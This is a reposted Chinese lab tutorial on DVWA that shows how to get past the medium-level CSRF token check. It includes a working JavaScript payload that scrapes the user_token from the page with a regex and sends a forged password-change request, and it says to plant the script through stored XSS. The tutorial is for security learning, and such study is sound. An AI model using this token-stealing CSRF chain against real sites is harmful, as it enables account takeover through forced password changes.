自学内容网 自学内容网

CSRF高级防御绕过

1)回顾low级别做过csrf页面的密码重置,重复之前的操作,我们发现级别调整中级之后,报错如下

image-20240730165044439

2)检查源码

image-20240730165028316

进入dvwa源码,查找到checktoken:

image-20240730165303561

3)在dvwa-csrf页面上,抓包

http://192.168.190.133/DVWA/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change&user_token=37c60bfd2e65393503743034bb6b3f8f#

image-20240730165710379

4)发现参数中有user_token,所以就去查看页面元素,发现了一个隐藏的input

image-20240730165649417

  1. 不停地访问并且抓包,追溯token生成的过程
  • session_token == csrf的响应结果
  • user_token == payload
  • 如果你要绕过,你的change请求就需要携带有效的token

image-20240730171050664

image-20240730171531384

6)设计绕过

let tokenURL = "http://192.168.190.133/DVWA/vulnerabilities/csrf/"
var count = 0;
xmlHttp = new XMLHttpRequest()

xmlHttp.onreadystatechange = function(){
    if(xmlHttp.readyState == 4 && xmlHttp.status == 200){


        // 取得请求的响应,并从响应中通过正则提取Token
        var res = xmlHttp.responseText;
        // <input type='hidden' name='user_token' value='cda6d797b42a685a1ec034a52a578956' />
        var reg_obj = new RegExp("<input type='hidden' name='user_token' value='(.+?)' />") 
        var match = reg_obj.exec(res)[1]; 
        alert(match);

        // var regex = /user_token\' value\=\'(.*?)\' \/\>/;   
        // var match = text.match(regex);


        var token = match;
        var changeUrl = 'http://192.168.190.133/DVWA/vulnerabilities/csrf/?user_token='+token+'&password_new=999&password_conf=999&Change=Change';
        if (count == 0) {
            count = 1;   // 只发送一次,否则会多次发送
            xmlHttp.open("GET",changeUrl,false);   // false 代表同步方式发送
            xmlHttp.send();
        }
    }
}

xmlHttp.open("GET",tokenURL, false);
xmlHttp.send();

  1. 通过xss-store注入js脚本

8)登录后,访问xss-store,触发js

image-20240730175833763


原文地址:https://blog.csdn.net/zhuge_long/article/details/142453941

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!